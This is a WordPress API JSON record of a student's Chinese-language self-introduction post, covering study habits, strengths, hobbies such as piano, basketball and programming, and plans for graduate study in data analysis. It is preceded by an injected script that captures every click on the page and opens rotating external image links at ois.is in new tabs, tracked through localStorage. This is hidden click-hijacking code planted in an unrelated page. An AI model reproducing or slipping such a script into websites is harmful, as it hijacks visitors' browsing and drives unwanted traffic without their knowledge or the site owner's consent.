<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":386,"date":"2014-05-10T22:22:19","date_gmt":"2014-05-10T14:22:19","guid":{"rendered":"http:\/\/edu.secda.info\/scu8154201\/?p=386"},"modified":"2023-03-06T14:00:08","modified_gmt":"2023-03-06T06:00:08","slug":"%e8%87%aa%e6%88%91%e4%bb%8b%e7%bb%8d","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154201\/?p=386","title":{"rendered":"\u95dc\u65bc\u6211\u9019\u500b\u4eba"},"content":{"rendered":"<hr \/>\n<p><span style=\"font-size: 14pt;\"><strong><span style=\"color: #0000ff;\">\u3010\u7c21\u8981\u4ecb\u7d39\u3011<\/span> <\/strong><\/span><\/p>\n<p><span style=\"color: #808080;\">\u55e8\u55e8!! \u6211\u662f\u674e\u5ba5\u8476\uff0c\u76ee\u524d\u70ba\u6771\u5433\u5927\u5b78\u570b\u969b\u7d93\u71df\u8207\u8cbf\u6613\u5b78\u7cfb\u7684\u56db\u5e74\u7d1a\u751f\uff0c\u76ee\u524d\u6709\u4fee\u570b\u969b\u8ca1\u52d9\u7ba1\u7406\u8ab2\u7a0b\uff0c\u6b64\u5e73\u53f0\u6703\u767c\u5e03\u95dc\u65bc\u570b\u969b\u8cbf\u6613\u7406\u8ad6\u76f8\u95dc\u7684\u5167\u5bb9\uff0c\u6b61\u8fce\u5927\u5bb6\u9032\u4f86\u89c0\u770b\u3002<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-size: 14pt;\"><strong><span style=\"color: #0000ff;\">\u3010\u6211\u7684\u5b78\u7fd2\u7279\u8cea\u3011<\/span> <\/strong><\/span><\/p>\n<p>\u559c\u6b61\u81ea\u5df1\u4e0a\u7db2\u627e\u6709\u8208\u8da3\u7684\u8ab2\u7a0b\u5b78\u7fd2\uff0c\u559c\u6b61\u5728\u665a\u4e0a\u591c\u6df1\u4eba\u975c\u7684\u6642\u5019\u5b78\u7fd2\u3002<\/p>\n<p><span style=\"font-size: 14pt;\"><strong><span style=\"color: #0000ff;\">\u3010\u6211\u5728\u6027\u683c\u4e0a\u7684\u512a\u52e2\u3011<\/span><\/strong><\/span><\/p>\n<p>\u5916\u5411\u4e0d\u505a\u4f5c\uff0c\u5c0d\u6709\u8208\u8da3\u7684\u4eba\u4e8b\u7269\u4e0d\u96b1\u85cf\u597d\u5947\u5fc3\uff0c\u61c2\u5f97\u50be\u807d\u5225\u4eba\u7684\u60f3\u6cd5\u3002<\/p>\n<p><span style=\"font-size: 14pt;\"><strong><span style=\"color: #0000ff;\">\u3010\u6211\u8981\u6539\u5584\u7684\u5730\u65b9\u3011<\/span><\/strong><\/span><\/p>\n<p>\u9ad4\u529b\u4e0d\u597d\uff0c\u5bb9\u6613\u60f3\u7761\u89ba\u3002<\/p>\n<p><span style=\"font-size: 14pt;\"><strong><span style=\"color: #0000ff;\">\u3010\u6211\u7684\u8208\u8da3\u3001\u55dc\u597d\u3001\u5c08\u9577\u6280\u80fd\u3011<\/span><\/strong><\/span><\/p>\n<p><span style=\"color: #808080;\">\u8208\u8da3\u6709\u5ee3\u6cdb\u65bc\u5404\u9818\u57df\uff0c\u50cf\u662f\u97f3\u6a02\u3001\u9ad4\u80b2\u3001\u751a\u81f3\u662f\u548c\u7a0b\u5f0f\u65b9\u9762\uff0c\u5f9e\u5c0f\u5b78\u958b\u59cb\u5f48\u92fc\u7434\u81f3\u4eca\uff0c\u9069\u5408\u5c07\u7dca\u5f35\u7684\u72c0\u614b\u653e\u9b06\uff1b\u5927\u5b78\u4e00\u5e74\u7d1a\u958b\u59cb\u6709\u52a0\u5165\u7cfb\u4e0a\u7684\u5973\u7c43\u7403\u968a\uff0c\u5728\u88e1\u9762\u5b78\u7fd2\u5718\u968a\u5408\u4f5c\uff0c\u4e5f\u56e0\u6b64\u4ea4\u4e86\u8a31\u591a\u4e0d\u540c\u985e\u578b\u7684\u670b\u53cb\uff1b\u7d93\u904e\u5927\u5b78\u4e00\u5e74\u7d1a\u5546\u696d\u8edf\u9ad4\u8ab2\u7684VBA\uff0c\u958b\u555f\u4e86\u6211\u5c0d\u7a0b\u5f0f\u7684\u8208\u8da3\uff0c\u5728\u5269\u4e0b\u7684\u5b78\u5206\u4e2d\u6709\u5728\u5168\u6821\u6027\u9078\u4fee\u7e7c\u7e8c\u5b78\u7fd2\u95dc\u65bc\u7a0b\u5f0f\u7684\u5167\u5bb9\u3002<\/span><\/p>\n<p><span style=\"color: #808080;\">\u6211\u5c0d\u80fd\u529b\u7684\u5b9a\u7fa9\u70ba\u7d9c\u5408\u5c0d\u81ea\u5df1\u6709\u5229\u7684\u90fd\u53ef\u4ee5\u88ab\u6210\u70ba\u80fd\u529b\uff0c\u50cf\u662f\u6211\u5177\u6709\u9ad8\u8010\u5fc3\u53ca\u9ad8\u6297\u58d3\u6027\uff0c\u5728\u76ee\u524d\u6b65\u8abf\u5feb\u3001\u9ad8\u58d3\u7684\u793e\u6703\u4e2d\u662f\u4e0d\u53ef\u6216\u7f3a\u7684\uff0c\u4e5f\u5177\u6709\u8207\u6642\u4ff1\u9032\u7684\u80fd\u529b\uff0c\u50cf\u662f\u76ee\u524d\u7684\u6642\u4ee3\u5df2\u7d93\u8207\u79d1\u6280\u5bc6\u4e0d\u53ef\u5206\uff0c\u6211\u4e5f\u6709\u7e7c\u7e8c\u5b78\u7fd2\u8cc7\u8a0a\u65b9\u9762\u7684\u80fd\u529b\u3002<\/span><\/p>\n<p><span style=\"font-size: 14pt;\"><strong><span style=\"color: #0000ff;\">\u3010\u6211\u7684\u5fd7\u9858\u3001\u8077\u696d\u65b9\u5411\u3011<\/span><\/strong><\/span><\/p>\n<p><span style=\"color: #808080;\">\u5728\u5927\u5b78\u7562\u696d\u9019\u4e00\u5e74\uff0c\u6253\u7b97\u52a0\u5f37\u81ea\u5df1\u7684\u8a9e\u8a00\u80fd\u529b\uff0c\u4e26\u8003\u53d6\u7814\u7a76\u6240\uff0c\u4e4b\u5f8c\u60f3\u5f80\u7d71\u8a08\u7684\u8077\u4f4d\uff0c\u5728\u4e4b\u524d\u6240\u4fee\u7fd2\u7684\u8ab2\u7a0b\u95dc\u65bc\u7d71\u8a08\u53ca\u6578\u64da\u5206\u6790\u975e\u5e38\u611f\u8208\u8da3\uff0c\u5e0c\u671b\u53ef\u4ee5\u5f80\u6578\u64da\u5206\u6790\u3001\u5e02\u5834\u5206\u6790\u9019\u4e9b\u9818\u57df\u9081\u9032\u3002<\/span><\/p>\n<p><span style=\"font-size: 14pt;\"><strong><span style=\"color: #0000ff;\">\u3010\u5c0d\u81ea\u5df1\u7684\u671f\u8a31\u3011<\/span><\/strong><\/span><\/p>\n<p>\u4f60\u8d70\u5f97\u591a\u6162\u90fd\u7121\u6240\u8b02\uff0c\u6700\u91cd\u8981\u7684\u662f\u7d55\u4e0d\u505c\u4e0b\u8173\u6b65\u3002\u2014\u5b89\u8fea\u00b7\u6c83\u8377 Andy Warhol<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u3010\u7c21\u8981\u4ecb\u7d39\u3011 \u55e8\u55e8!! \u6211\u662f\u674e\u5ba5\u8476\uff0c\u76ee\u524d\u70ba\u6771\u5433\u5927\u5b78\u570b\u969b\u7d93\u71df\u8207\u8cbf\u6613\u5b78\u7cfb\u7684\u56db\u5e74\u7d1a\u751f\uff0c<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[19],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=\/wp\/v2\/posts\/386"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=386"}],"version-history":[{"count":16,"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=\/wp\/v2\/posts\/386\/revisions"}],"predecessor-version":[{"id":956,"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=\/wp\/v2\/posts\/386\/revisions\/956"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=386"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=386"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=386"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}